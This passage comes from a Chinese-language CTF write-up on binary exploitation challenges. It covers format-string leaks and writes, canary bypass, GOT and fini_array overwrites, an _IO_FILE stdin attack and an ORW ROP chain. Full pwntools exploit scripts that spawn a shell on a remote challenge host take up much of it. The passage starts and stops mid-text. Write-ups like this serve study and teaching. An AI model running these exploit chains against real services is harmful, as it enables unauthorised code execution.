就是第一个格式化参数,在这个例子里就偏移到了存着 n的值 的格子,然后从里面取出值去格式化输出。 -
可如果写的是
%100$d
,它就会向下偏移 100个字节 去访问拿那里面的值,然后输出取出的地址里面的内容,并不会进行任何越界检查。
-
可看上图可以知道,
printf
作为main
的子函数调用,下方的栈内存的就是main
里面压入栈中的数据,其中那个字符串"%d"
也存在下面。所以我们可以通过格式化参数来访问main
函数的栈内空间。 -
那么有一个格式化参数为
%n
,作用是向给定位置内,写入先前已输出的字节数量。利用这个格式化参数,我们就可以修改main
函数的栈内内容。
-
我们首先要确定偏移多少个字节可以访问到
main
的栈内内容,题目会先将我们输入的字符串存到s
中,然后将s
的地址作为参数传入printf
。 -
那么我们可以往里面写下大量的
.%x
,来不断地往下输出每一个字节,直到输出了s
内存储的内容就找到了偏移量。为了更直观的看到 16进制,我们往开头加上 4个D,D 的 ASCLL 对应的 68 在 16进制下就是 44 比较直观: -
输出出来数一下,发现第 10 个字节里面存着
s
开头的DDDD
,所以如果我们写下%10$n
就可以找到存在这里面的地址,然后往里面写入已经输出的字节数: -
那么我们就可以构造 payload 了,先点击
pwnme
变量查看其地址: -
把这个地址存在
s
的开头,后面接上格式化字符串%10$n
,但由于需要让pwnme
的值为 ,开头输出了 的其地址,还需要输出 4个字节 那么拿%4c
来填充: -
最后运行得到 flag:
3※ Mary_Morton
-
拿到题目先在
下checksec
查看下保护,发现是 64位 小端程序,发现除了有NX
和Partial RELRO
,还开了Canary
保护: -
拖进 IDA64 看
main
,观察程序流程,为子函数改个名: -
发现提供了两种溢出方式,我们先看
v3==1
时的栈溢出,点进Stack_Bufferoverflow_Bug
,发现是一个经典的栈溢出,往最多 136 字节的buf
里读入最多 256 个字节: -
但是此时我们看到,由于开了
Canary
保护,有一个 4字节 变量v2
在buf
正下方,值为__readfsqword(0x28u)
,如果我们想要溢出到r
处就必然会覆盖v2
的值,而如果检测到了v2
被修改就会立刻结束程序。 -
所以我们要考虑如何泄露出
v2
的值,在栈溢出的时候用同样的值覆盖v2
,从而避免程序被Canary
保护结束。我们点进main
里的另一个Format_String_Bug
格式化字符串溢出函数,发现里面是一个经典的格式化字符串溢出: -
同时这里面的
Canary
保护为v2
赋的值也是__readfsqword(0x28u)
,我们考虑用格式化字符串输出v2
的值保存起来,这样在另一个函数的栈溢出时就可以覆盖相同的值了: -
那么我们考虑构造 payload1 来泄露
v2
的值,先用DDDD + b'.%x'*30
来测试偏移量(记得先输入一个 2 选择模式): -
运行数一下,发现到
buf
开头的偏移量为 6个字节: -
那么此时看一下
中提供的v2
与buf
的相对位置,buf
从-90h
开始,v2
从-8h
开始,相差0x88
个 136个字节: -
由于这是 64位 程序,一个字占 8 个字节,所以我们需要额外偏移
136/8 = 17
个偏移量,加上前面到buf
开头的 6 个一共 23 个偏移量。然后注意v2
的类型是__int64
共 8 个字节,我们可以用%ld
输出 进制或用%p
输出 16 进制,这里我用%p
: -
然后将输出的
v2
的值存到canary
中,下一次溢出的时候覆盖使用: -
准备构造第二次溢出的 payload2,我们左侧的函数找一下有没有现成的,发现有个
sub_4008DA
函数里面可以输出 flag: -
查看汇编代码文本视图,复制函数的入口位置
backdoor_addr = 0x4008DA
: -
然后第二次溢出输入 1 进入栈溢出的子函数,开始构造 payload2。
-
先用 136个字节 填充
buf
,然后用canary
覆盖v2
,再用 8个字节 填充s
,最后用backdoor_addr
填充r
: -
需要注意的是这是 64位 程序,需要考虑平衡栈:即运行函数时,
rsp
所指的地址需要以 0 结尾。而调用system
函数是第一条指令,以 8 结尾无法通过检验,需要在之前加一个程序地址来使调用system
时以 0 结尾,我们用ropper
指令去找一个ret
代码的地址。 -
在 linux 中输入
ropper --file Mary_Morton --search "ret"
来查找,ret = 0x400659
: -
最后在在调用
system
前加上一个ret
的地址平衡栈: -
运行程序成功获得 flag:
-
最后附上完整 exp(调整了下顺序):
4※ new-easypwn
-
checksec 检查保护,发现 got 表可写,其他都开全了:
-
查看 libc 版本,libc 2.23,但是没有给 ld 库,我们用 glibc-all-in-one 找下载 ld-2.23.so 然后用 patchelf 更改 libc 和 ld 库:
-
依次检查功能:
-
Add 中限制了只能申请 4 个堆,且 phone number 和 name 的输入没有限制长度,存在溢出:
-
且限制了堆的大小 不大于 0x80:
-
Del 里没有清空指针,存在 UAF 漏洞,但是将 sign 标记为 0 了:
-
Show 里存在格式化字符串漏洞,但是 sign 为 1 才能输出:
-
Edit 里还是存在溢出,不过要 sign 为 1 才能 Edit:
-
可以发现我们没有手法可以修改 sign 的值,这题不是很好打堆。不过存在格式化字符串,和 Add 里的 bss 段溢出,我们可以考虑用格式化字符串泄露出 libc 和 程序基地址。
-
观察 存放 name 数组的上下数据,发现下方存放着申请的堆的地址,而 Edit 中正是往这些地址里面写数据的,那么我们可以通过溢出覆盖里面的地址,实现任意写:
-
那么我们可以往 free_got 里面写入 system 的地址,然后往堆内写入 /bin/sh,释放堆 的时候就相当于执行了 system("/binsh")
-
动态调试寻找栈上的链子,将断点断在 printf 上,不断按 c 直到即将执行存在格式化漏洞的字符串,此时进入 stack 查看栈结构,进入了printf函数内部,所以顶部为返回地址。在64位程序,函数传参先传给6个寄存器,然后存到栈上,那么从+0x0008 位置开始为相对于格式化字符串参数的第 6、7、8... 个参数。在其中存在 __libc_start_main 函数偏移 240 的地址(第13个参数),此外通过分析还可以发现第9个参数地址为程序偏移 0x1274 处地址,由此可以计算出 __libc_start_main 函数地址和程序加载基址。
-
那么通过格式化字符串泄露 (%13
p) 出第 13 个参数和第 9 个参数的值,前者减 240 为 __libc_start_main 函数地址,后者减 0x1274(或 & 0xfffffffffff00000 ) 为程序加载基址。 -
接着通过 Edit(0) 来修改堆指针为 atoi_got,然后往 atoi_got 里面写入 system_addr,这样在下次菜单输入 /bin/sh 后会执行 atoi("/bin/sh") 就是执行 system("/bin/sh") 了。
-
完整 exp:
# -*- coding: utf-8 -*- from ctypes import * from time import * import tqdm from LibcSearcher import LibcSearcher from cryptography.utils import int_to_bytes from pwn import * from sympy.abc import delta # context.terminal = ['tmux','splitw','-h'] # context(log_level = "debug",arch = "amd64",os = 'linux') context(arch = "amd64",os = 'linux') # context(arch = "i386",os = 'linux') ip = '61.147.171.105'; port = '59404' # patchelf --set-interpreter ./xxxxld ./1 # patchelf --replace-needed libc.so.6 ./xxxxlibc ./1 def connect(): global p,elf,libc,libclib,libc_name,file_name,ld,ld_name file_name = './hello' # ld_name = '~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so' local = 0 if local: # p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name}) libc_name = '/lib/x86_64-linux-gnu/libc.so.6' # libclib = cdll.LoadLibrary('./libc-2.31.so') p = process(file_name) else: libc_name = './libc-2.23.so' # libclib = cdll.LoadLibrary('./libc-2.31.so') p = remote(ip,port) elf = ELF(file_name) # ld = ELF(ld_name) libc = ELF(libc_name) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda n :p.recv(n) rl = lambda n :p.recvline(n) ru = lambda x :p.recvuntil(x) rud = lambda x :p.recvuntil(x, drop = True) uu64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) ita = lambda :p.interactive() leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) lg = lambda address,data :log.success('%s: '%(address)+hex(data)) pad = lambda *args :bytes.join(b'',[p64(x) for x in args]) def db(): gdb.attach(p) def cmd(idx): sla(b'your choice>>',str(idx).encode()) def Add(phone,name,size,content): cmd(1) sla(b'phone number:',phone) sla(b'name:',name) sla(b'input des size:',str(size).encode()) sla(b'des info:',content.ljust(size,b'\x00')) def Show(idx): cmd(3) # db() sla(b'input index:',str(idx).encode()) def Edit(index,phone,name,info): sla(b'choice>>',b'4') sla(b'index:',index) sla(b'number:',phone) sla(b'name:',name) sla(b'info:',info) def Del(idx): cmd(2) sla(b'input index:',str(idx).encode()) # ropper --file 1 --search "pop|ret" | grep "rdi" # ropper --file 1 --search "ret" def pwn(): # db() # Add(b'%33$p%9$p',b'a',15,b'12345678') # 本地 Add(b'%13$p%9$p',b'a',0x18,b'a') # 远程 Show(0) ru(b'0x') # libc_start_main = int(rud(b'0x'),16) - 139 # 本地 libc_start_main = int(rud(b'0x'),16) - 240 # 远程 libc_base = libc_start_main - libc.symbols["__libc_start_main"] system_addr = libc_base + libc.symbols["system"] leak("libc_base",libc_base) leak("system_addr",system_addr) elf_base = int(rud(b'\n'),16) - 0x1274 atoi_got = elf_base + elf.got["atoi"] arr_addr = elf_base + 0x2020E0 leak("elf_base",elf_base) leak("atoi_got",atoi_got) leak("arr_addr",arr_addr) # db() Edit(b'0',b'c'*11,b'd'*13+p64(atoi_got),p64(system_addr)) sla(b'>>',b'/bin/sh') p.interactive() connect() pwn()
3※ 实时数据监测
-
考点:fmt
-
checksec 检查保护,发现什么都没开,是 32 位程序:
-
IDA32 打开,发现 imagemagic 里存在一个格式化字符串漏洞,字符串可以长达 0x200:
-
我们需要让 key 的值为 35795746,而 key 是个全局变量,且没有开 PIE:
-
那么直接往栈上写 key 的地址,然后往 key 的地址里面通过格式化字符串 %hhn 漏洞,一个字符一个字符的改成 35795746(0x2223322)就可以了:
-
先将 0x2223322 拆成一个一个字节:
aim_addr = 35795746 aim_addr_8 = [(aim_addr>>(i*8))&0xff for i in range(4)]
-
然后通过 %x 测试栈上偏移量:
py = b'DDDD' + b'.%x'*20 p.sendline(py)
-
发现偏移量为 12:
-
由于 printf 输出的时候遇到 \x00 截断,我们需要将格式化字符串写在前面,将 key 的四个字节分别的地址写在后面:
py = # 构造的格式化字符串 py += p32(where_addr) + p32(where_addr+1) + p32(where_addr+2) + p32(where_addr+3)
-
如
%125c%12$hhn
会往偏移量为 12 的位置里面的地址内写入 125,我们也是构造 4 个这样的字符串分别修改 key 的四位。简单估算下每改一位的 payload 大概为 12字节,那么我们最后将补齐 48 字节,这样 key 的 4 个地址就会在栈上偏移量从 12+48/4 = 12+12 开始了:first_delta = 12 py = f'%{aim_addr_8[0]}c%{first_delta + 12}$hhn' py += f'%{(aim_addr_8[1]-aim_addr_8[0]+256)%256}c%{first_delta + 12 + 1}$hhn' py += f'%{(aim_addr_8[2]-aim_addr_8[1]+256)%256}c%{first_delta + 12 + 2}$hhn' py += f'%{(aim_addr_8[3]-aim_addr_8[2]+256)%256}c%{first_delta + 12 + 3}$hhn' py = py.encode().ljust(48,b'\x00')
-
完整 exp:
from pwn import * p = remote("61.147.171.105",62351) # py = b'DDDD' + b'.%x'*20 first_delta = 12 aim_addr = 35795746 where_addr = 0x0804A048 aim_addr_8 = [(aim_addr>>(i*8))&0xff for i in range(4)] aim_addr_16 = [(aim_addr>>(i*16))&0xffff for i in range(2)] py = f'%{aim_addr_8[0]}c%{first_delta + 12}$hhn' py += f'%{(aim_addr_8[1]-aim_addr_8[0]+256)%256}c%{first_delta + 12 + 1}$hhn' py += f'%{(aim_addr_8[2]-aim_addr_8[1]+256)%256}c%{first_delta + 12 + 2}$hhn' py += f'%{(aim_addr_8[3]-aim_addr_8[2]+256)%256}c%{first_delta + 12 + 3}$hhn' py = py.encode().ljust(48,b'\x00') py += p32(where_addr) + p32(where_addr+1) + p32(where_addr+2) + p32(where_addr+3) p.sendline(py) p.interactive()
4※ EasyPwn
-
Point:printf 与 snprintf 都只读入唯一一个参数的地址:格式化字符串的地址,然后通过依次访问里面的字符来输出。即若该字符串被修改了,会输出修改后的字符串。
-
checksec 检查保护,发现 Partial RELRO,Got 表可写, 64 位程序:
-
IDA64 代码审计,发现在一号功能内存在格式化字符串漏洞:
-
这里就涉及到了上文提到的格式化字符串实现细节,由于会将 s 中的字符串复制到 v2 中,从而向下溢出覆盖 v3 这个格式化字符串,那么我们就可以修改 v3,使得输出更长的自定义的格式化字符串:
-
由于 Got 表可改,我们可以尝试把 free 的 Got 表改为 system 函数,然后通过功能 2 输入
/bin/sh\x00
来获取权限。那么我们需要先执行一次 free 来初始化 free 的 Got 表地址:def setName(name): sla(b"Input Your Code:\n",b'2') sla(b"Input Your Name:\n",name) py = b'ShallowDream' setName(py)
-
我们可以将 v3 内的 %s 后方覆盖入 %xx$p,就可以在 %s 执行完输出第 xx 个元素的地址,实现格式化字符串漏洞的利用。
-
我们尝试用
b'DDDDDDDD'+b'.%x'*20
来测试偏移量,发现不对劲改为用b'.%p'*6
来测试标志性地址,发现输出了某个地址: -
然后通过动态调试,计算出 __libc_start_main 函数附近地址的位置 与 存储着该地址的偏移量为 392,而该地址是第 4 个
.%p
输出的地址,那么偏移量为 5,所以我们需要输出第 397 个位置的地址,根据 dbg 的提示减去 240 就为 __libc_start_main 函数的地址了,我们就可以泄露出 libc_base 了。 -
此外发现,在刚才的地址的正上方存着一个 代码段内的地址,我们可以将偏移量为 396 的位置的地址输出出来就,计算就可以得到程序的加载地址。
-
切记!一定要写 sla 即 sendlineafter!因为存在网络延迟,如果没有 sendlineafter 许多发过去的 payload 会全部被同一个 read 读入,导致程序报错!
py = b'a'*1000 + b'bb%397$p;%396$p' echo(py) ru(b'%396$p\n') libc_start_main = int(rud(b';'),16) - 240 libc_base = Pwn.leak_libc("__libc_start_main",libc_start_main) system_addr = Pwn.get_libc("symbols","system")[0] leak("libc_base",libc_base) leak("libc_start_main",libc_start_main) leak("system_addr",system_addr) elf_base = int(rud(b'\n'),16) - 0xda0 free_got = elf_base + free_got leak("elf_base",elf_base) leak("free_got",free_got)
-
我们获得了 free_got 的地址 以及 system_addr 的地址,就可以修改 free 的 Got 表为 system 函数的地址了,我们每次修改 2个字节,由于 snprintf 函数中通过 %s 格式化,遇到 \x00 会截断,所以我们需要将函数的地址放在最后方,然后每次修改两个字节,共修改两次即可。
-
需要注意的是,先执行 %s 的格式化字符串会将我们所有的 payload 全部输出到 v2 中,所以我们后续还需要输入字符就需要减去已经输出的字符数量:
aim_addr = [system_addr&0xffff,(system_addr>>16)&0xffff] py = b'a'*1000 + f'bb%{(aim_addr[0]-1000-0x16+65536)%65536}c%133$hn'.encode().ljust(16,b'A') # print(len(py)) py += p64(free_got) echo(py) py = b'a'*1000 + f'bb%{(aim_addr[1]-1000-0x16+65536)%65536}c%133$hn'.encode().ljust(16,b'A') py += p64(free_got+2) echo(py)
-
最后我们再通过功能 2,向 buf 内输入
/bin/sh\x00
,然后在 free(buf) 的时候就会执行 system("/bin/sh") 获得权限了。 -
完整 exp(里面 import 了自己写的库):
from ShallowDreamTools import * Pwn.init(File='./pwn1', Libc='./libc.so.6', Url="61.147.171.105:53627") Pwn.connect(0) # Pwn.init(File='./pwn1', Libc='/lib/x86_64-linux-gnu/libc.so.6') # Pwn.connect(1) free_got = Pwn.get_elf("got","free")[0] def echo(content): sla(b"Input Your Code:\n",b'1') sla(b"Welcome To WHCTF2017:\n",content) def setName(name): sla(b"Input Your Code:\n",b'2') sla(b"Input Your Name:\n",name) py = b'ShallowDream' setName(py) # Pwn.db() # py = b'a'*1000 + b'b'*2 + b'.%p'*6 # delta = (0x7ffd76072d08 - 0x7ffd76072028)/8 + 5 # print(int(delta)) #417 # py = b'a'*1000 + b'bb%417$p;%401$p' py = b'a' * 1000 + b'bb%397$p;%396$p' echo(py) ru(b'0x') # libc_start_main = int(rud(b';'),16) - 139 libc_start_main = int(rud(b';'), 16) - 240 libc_base = Pwn.leak_libc("__libc_start_main", libc_start_main) system_addr = Pwn.get_libc("symbols", "system")[0] leak("libc_base", libc_base) leak("libc_start_main", libc_start_main) leak("system_addr", system_addr) ru(b'0x') # elf_base = int(rud(b'\n'),16) - 0xc3c elf_base = int(rud(b'\n'), 16) - 0xda0 free_got = elf_base + free_got leak("elf_base", elf_base) leak("free_got", free_got) aim_addr = [system_addr & 0xffff, (system_addr >> 16) & 0xffff] py = b'a'*1000 + f'bb%{(aim_addr[0] - 1000 - 0x16 + 65536) % 65536}c%133$hn'.encode().ljust(16, b'A') # print(len(py)) py += p64(free_got) echo(py) py = b'a'*1000 + f'bb%{(aim_addr[1] - 1000 - 0x16 + 65536) % 65536}c%133$hn'.encode().ljust(16, b'A') py += p64(free_got + 2) echo(py) py = b'/bin/sh\x00' setName(py) ita()
4※ greeting-150
-
考点:fini_array 劫持,fmt
-
检查保护,Got 表可改,无 PIE,是 32位程序:
-
拖进 IDA32,发现有一个很明显的格式化字符串漏洞,且限制输入字符长度不超过 64:
-
看 getnline 函数中用了 strlen(s),那么我们第一次修改 strlen 的 Got 表为 system,第二次输入 /bin/sh 就能执行 system("/bin/sh"):
-
我们不知道栈地址,没法改程序返回地址,但是程序在执行 exit() 时会依次执行fini_array 数组内的各个函数,我们可以修改数组内的第一个指针为 main 的地址就可以再次执行一次 main 了:
-
fini_arry 如果用 symbols 搜索的话需要搜
__init_arrat_end
,我们发现里面存着的地址和 main 函数仅有最后一个字节有差别,可以只修改最后两个字节: -
我们先用
py = b'DDDD' + b'.%x'*19
来测试偏移量,发现输入的位置并没有对齐: -
我们需要先在前面加两个字符,改为用
py = b'aaDDDD' + b'.%x'*19
来测试偏移量,为 12: -
那么写出完整 exp(import 了自己写的库):
from ShallowDreamTools import * Pwn.init(File='./greeting-150',log_level="INFO",Url="61.147.171.105:54187") Pwn.connect(0) fini_array,system_plt,main_addr,strlen_got = Pwn.get_elf("symbols","__init_array_end","plt","system","symbols","main","got","strlen") aim_addr = [main_addr&0xffff,system_plt&0xffff,(system_plt>>16)&0xffff] where_addr = [fini_array,strlen_got,strlen_got+2] pre_len = len(b'Nice to meet you, ') + 2 # py = b'DDDD' + b'.%x'*19 # py = b'aaDDDD' + b'.%x'*19 # base = 12 py = b'aa' + Pwn.fmt("32","hn",12,pre_len,aim_addr,where_addr) sla(b'Please tell me your name... ',py) sla(b'Please tell me your name... ',b'/bin/sh\x00') ita()
6※ echo_back
-
checksec 检查保护,发现保护全开,64位程序:
-
由于 64 位程序前 6 个偏移都是用寄存器传参,我们尝试输出第 7 个元素,然后进 dbg 里断点断在 printf,按 c 一次到刚进 printf 的位置,stack 查看栈结构,发现再偏移 5 个位置到存储 main 的 rbp 的位置:
-
那么我们输出 %12$p 就可以得到 main 的 rbp 地址,再加 8 就可以得到 main_ret 的地址了:
py = b'%12$p' echo_back(b'7',py) ru(b'0x') main_ret = int(rud(b'-'),16) + 0x08
-
正下方第 13 个位置装着一个程序的地址,我们可以泄露出来计算偏移量获得 elf_base:
py = b'%13$p' echo_back(b'7',py) delta_pie = 0x55d5f5800d08 - 0x55d5f5800000 # 动态调试获得 ru(b'0x') elf_base = int(rud(b'-'),16) - delta_pie
-
此外发现下方第 19 个位置里面装着 libc 内的地址,我们动态调试出偏移量就可以计算出 libc_base 的值了:
py = b'%19$p' echo_back(b'7',py) delta = 0x7f520023f1ca - 0x7f5200215000 # 动态调试获得。但是本题没给 ld 库,只能翻题解找固定偏移量 libc 2.23 的 240 然后减去 libc_start_main ru(b'0x') Pwn.libc_base = libc_base = int(rud(b'-'),16) - delta
-
那么我们现在可以通过 set_name 来写入一个地址,然后再用 fmt 修改这个地址内的值。我们首先想到的肯定是将 main_ret 改为一个 one_gadget,但是由于只能输入 7 个字节,无法把 main_ret 地址的最低两位都改为 one_gadget。
-
我们需要想办法能够读入更长的数据,这需要我们先用 fmt 攻击 scanf,使得可以直接用 scanf 往目标位置读入数据。
-
参考资料:echo_back WriteUp
-
首先需要知道 scanf 最终是从 stdin 中读取数据,而 stdin 是一个 FILE (_IO_FILE) 结构体指针,里面保存着一些与 scanf 具体流程有关的指针(这里只列出与本题相关的指针):
struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ /* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr; /* Current read pointer */ char *_IO_read_end; /* End of get area. */ char *_IO_read_base; /* Start of putback+get area. */ char *_IO_write_base; /* Start of put area. */ char *_IO_write_ptr; /* Current put pointer. */ char *_IO_write_end; /* End of put area. */ char *_IO_buf_base; /* Start of reserve area. */ char *_IO_buf_end; /* End of reserve area. */ ... };
-
接着我们只需关注 _IO_new_file_underflow 这个函数,由它最终调用了_IO_SYSREAD 这个系统调用来读取文件,但这里面存在许许多多的检测,这里只列出与本题相关的检测:
... // 检查 read_ptr 需要大于等于 read_end 才会执行后面的输入 if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; ... // 将上图的数据全部赋值 fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_read_end = fp->_IO_buf_base; fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base; ... // 输入的长度由 buf_end - buf_base 来控制,输入的起始位置为 buf_base count = _IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base); ... // 最后会增加 read_end 的值 fp->_IO_read_end += count ...
-
那么我们如果将 buf_base 改为我们的 main_ret 的地址,然后将 buf_end 修改为一个较大的值,我们就可以通过 scanf 直接往 main_ret 后面写入 ROP 实现栈溢出了。
-
我们首先确定一下 buf_base 和 buf_end 分别为 IO_FILE 结构体中第 8 和第 9 个数据,在泄露出 libc 后我们可以获取 buf_base 的地址:
_IO_2_1_stdin_ = Pwn.get_libc("symbols","_IO_2_1_stdin_") _IO_buf_base = _IO_2_1_stdin_ + 0x08 * 7
-
我们知道 buf_base 在 IO_FILE 的位置是较下方的,我们可以通过
%16$hhn
刚好 7 个字节的 fmt 来修改 buf_base 的最低字节为 0,这样 buf_base 就往上移了,我们就可能可以通过 scanf 来修改 buf_base 和 buf_end 自身。 -
那么我们需要动态调试看一下 buf_base 原本的数据是不是就在 IO_FILE 的附近,如果是,最后一个字节改为 0x00 后我们需要读入多少个字节来修改其自身。
-
在 gdb 中查看刚才泄露出的 _IO_buf_base 里的数据,可以直接
p &_IO_2_1_stdin_
找到此时的 IO_2_1_stdin 的地址,然后x/20gx 0x0000
查看地址里面的内容。 -
我们可以发现 第八个位置的值为
0x7f036e09a963
,这就是 buf_base 的值,其就在此时的 IO_2_1_stdin 的地址0x7f036e09a8e0
的附近,相差为 0x83: -
当我们将其末字节覆盖为 0x00 时,接下来会在 0x7f036e09a900 的位置开始读入,我们需要维护前三个地址内的值不变,为刚才算的
_IO_2_1_stdin + 0x83
,然后就可以修改 buf_base 和 base_end 了: -
所以我们只需要在末尾改为 0x00 后,最后覆盖 buf_base 为 main_ret,buf_end 为 main_ret+0x20 或者更大,即可实现任意长度的输入:
set_name(p64(_IO_buf_base)) echo_back(b'7',b'%16$hhn') delta_data = 0x83 # 动态调试获得 py = p64(_IO_2_1_stdin_ + delta_data)*3 + pad64(main_ret,main_ret+0x20) echo_back(py,b'') # 通过 scanf 修改 IO_FILE
-
最后我们注意到结束的时候会增加 read_end 的值,增加的大小为 payload 的长度,而我们在输入结束前设置的 read_ptr = read_end,就会导致 read_end = read_ptr + len(payload)。由于我们仍然需要利用一次 scanf 来设置 main_ret 地方的 ROP 链,所以我们下次需要绕过那个
read_ptr >= read_end
的检测。 -
新的知识点,
getchar()
在执行之后会使 read_ptr 的值增加 1 而 read_end 不变,所以我们可以调用 len(payload-1) 次功能 2 来增加 read_ptr,然后再修改我们的 main_ret,此时也有一次 getchar 正好满足条件:for i in range(len(py)-1): echo_back(b'',b'',1)
-
最后便可以输入我们的 ROP 链了,然后退出循环即可触发 ROP 获得权限。
py = pad64(p_rdi_r,bin_sh_addr,system_addr) echo_back(py,b'',1) cmd(b'3')
-
完整 exp:
import pwn from ShallowDreamTools import * Pwn.init(Url="61.147.171.105:56406",File="./echo_back",Libc="./libc.so.6") Pwn.connect(0) def cmd(idx): sla(b'choice>> ',idx) def echo_back(length,content,mod=0): cmd(b'2') sa(b'length:',length) sl(b'') if mod : return s(content) def set_name(name): cmd(b'1') sa(b'name:',name) # Pwn.db() # py = b'%7$p' # main_rbp 12 ; about libc 19 # set_name(b'DDDDDDD') # py = b'%16$p' # delta = 16 输出 set_name 里的内容 py = b'%12$p' echo_back(b'7',py) ru(b'0x') main_ret = int(rud(b'-'),16) + 0x08 leak("main_ret",main_ret) py = b'%19$p' echo_back(b'7',py) ru(b'0x') # delta_libc = 0x7f520023f1ca - 0x7f5200215000 # 本地,动态调试获得 # Pwn.libc_base = libc_base = int(rud(b'-'),16) - delta_libc Pwn.libc_base = libc_base = int(rud(b'-'),16) - 0xf0 - Pwn.libc.sym['__libc_start_main'] # 远程为 240,但没给 ld 库 system_addr = libc_base + Pwn.libc.symbols["system"] bin_sh_addr = libc_base + next(Pwn.libc.search(b"/bin/sh")) leak("libc_base",libc_base) echo_back(b'7',b'%13$p') delta_pie = 0x55d5f5800d08 - 0x55d5f5800000 # 动态调试获得 ru(b'0x') elf_base = int(rud(b'-'),16) - delta_pie leak("elf_base",elf_base) leak("elf_base",elf_base + delta_pie - 0x9C - 0xC6C) p_rdi_r = elf_base + 0x0d93 ret = elf_base + 0x0861 # _IO_2_1_stdin_ = Pwn.get_libc("symbols","_IO_2_1_stdin_")[0] _IO_2_1_stdin_ = libc_base + Pwn.libc.symbols["_IO_2_1_stdin_"] _IO_buf_base = _IO_2_1_stdin_ + 0x08 * 7 leak("_IO_buf_base",_IO_buf_base) # Pwn.db() set_name(p64(_IO_buf_base)) echo_back(b'7',b'%16$hhn') delta_data = 0x83 # 动态调试获得 py = p64(_IO_2_1_stdin_ + delta_data)*3 + pad64(main_ret,main_ret+0x18) echo_back(py,b'') # 通过 scanf 修改 IO_FILE for i in range(len(py)-1): echo_back(b'',b'',1) py = pad64(p_rdi_r,bin_sh_addr,system_addr) echo_back(py,b'',1) cmd(b'3') ita()
orw
5※ Recho
-
checksec 检查保护,发现只开了 NX:
-
检查程序漏洞,发现只检查了输入长度的下界,当 v7 输入很大时存在栈溢出漏洞:
-
本题的关键在于外面的 while 循环,read 会一直等待输入无法输入 0 个字节退出 while,需要我们使用 pwntools 的
.shutdown('write')
指令关闭输入缓冲区才能退出循环。但是关闭输入缓冲区后我们就再也不能输入数据了,所以只能溢出一次 payload 得到 flag: -
由于我们无法输入,所以只能利用程序已有的 地址已知的 字符串,我们到全局变量段里找找,发现一个字符串
flag
: -
并且左侧有
frame_dummy
函数,这个函数里有一个神奇的指令add [rdi], al; retn
,可以修改任意地址,本题可以用来修改 Got 表: -
在
align 2
上按 u 来 undefined,然后按 c 转化为代码就可以看到了: -
一般而言,我们通过 ropper 进行查找,
ropper --file xxxx --search "add [|]|ret"
可以看到很多类似的指令,用最干净的这个: -
由于没有给 libc 库,不知道 open 函数的地址,不过我们可以用 syscall 指令系统调用,当
eax = 2
时调用 syscall 就是执行 open 函数。 -
alarm 函数的 got 表里存着的地址里的代码也是如此,不过为
eax = 0x23; syscall
,那么我们可以让 rdi 为 alarm 的 got 表地址,然后用add [rdi],al
将其跳过 mov,偏移到 syscall 的地址,这样执行 alarm 函数就可以执行 syscall 了。 -
那么我们输出看到汇编代码
eax = 0x23
这条汇编代码占 5 个字节,就只需加 5 即可:pad = lambda *data :b''.join([p64(x) for x in data]) alarm_got = elf.got["alarm"] p_rdi_r = 0x004008a3 p_rax_r = 0x4006fc add_rdi_r = 0x040070d py = b'a'*0x30 + b'A'*0x08 + pad(p_rdi_r,alarm_got,p_rax_r,5,add_rdi_r)
-
接下来依次执行
open(str_flag_addr)
,read(3,bss_addr,0x200)
,write(1,bss_addr,0x200)
就可以依次打开名为 flag 的文件,将 flag 文件内的内容读到 bss 段的一个可写地址,将 bss 段上地址内的 flag 数据输出来。 -
最后通过 shutdown("write") 即可关闭输入流,退出 while 循环,执行我们的 payload 了。
-
完整 exp:
# -*- coding: utf-8 -*- from ctypes import * from time import * import tqdm from LibcSearcher import LibcSearcher from cryptography.utils import int_to_bytes from pwn import * # context.terminal = ['tmux','splitw','-h'] # context(log_level = "debug",arch = "amd64",os = 'linux') # context(arch = "i386",os = 'linux') context(arch = "amd64",os = 'linux') ip = '61.147.171.105'; port = '58431' def connect(): global p,elf,libc,libclib,libc_name,file_name,ld,ld_name file_name = './773a2d87b17749b595ffb937b4d29936' # ld_name = './ld-2.31.so' local = 0 if local: # p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name}) # libc_name = './libc-2.31.so' # libclib = cdll.LoadLibrary('./libc-2.31.so') p = process(file_name) else: # libc_name = 'libc-2.31.so' # libclib = cdll.LoadLibrary('./libc-2.31.so') p = remote(ip,port) elf = ELF(file_name) # ld = ELF(ld_name) # libc = ELF(libc_name) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda n :p.recv(n) rl = lambda n :p.recvline(n) ru = lambda x :p.recvuntil(x) rud = lambda x :p.recvuntil(x, drop = True) uu64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) lg = lambda address,data :log.success('%s: '%(address)+hex(data)) shut = lambda direction :p.shutdown(direction) pad = lambda *data :b''.join([p64(x) for x in data]) def db(): gdb.attach(p) def pwn(): alarm_got = elf.got["alarm"] alarm_plt = elf.plt["alarm"] read_plt = elf.plt["read"] write_plt = elf.plt["write"] p_rdi_r = 0x004008a3 p_rsi_r15_r = 0x04008a1 p_rdx_r = 0x4006fe p_rax_r = 0x4006fc add_rdi_r = 0x040070d str_flag_addr = 0x0601058 bss_addr = 0x601200 sl(str(int(0x1000)).encode()) # print(len(asm("mov eax,0x23"))) # 5 py = b'a'*0x30 + b'A'*0x08 + pad(p_rdi_r,alarm_got,p_rax_r,5,add_rdi_r) py += pad(p_rdi_r,str_flag_addr,p_rsi_r15_r,0,0,p_rax_r,2,alarm_plt) py += 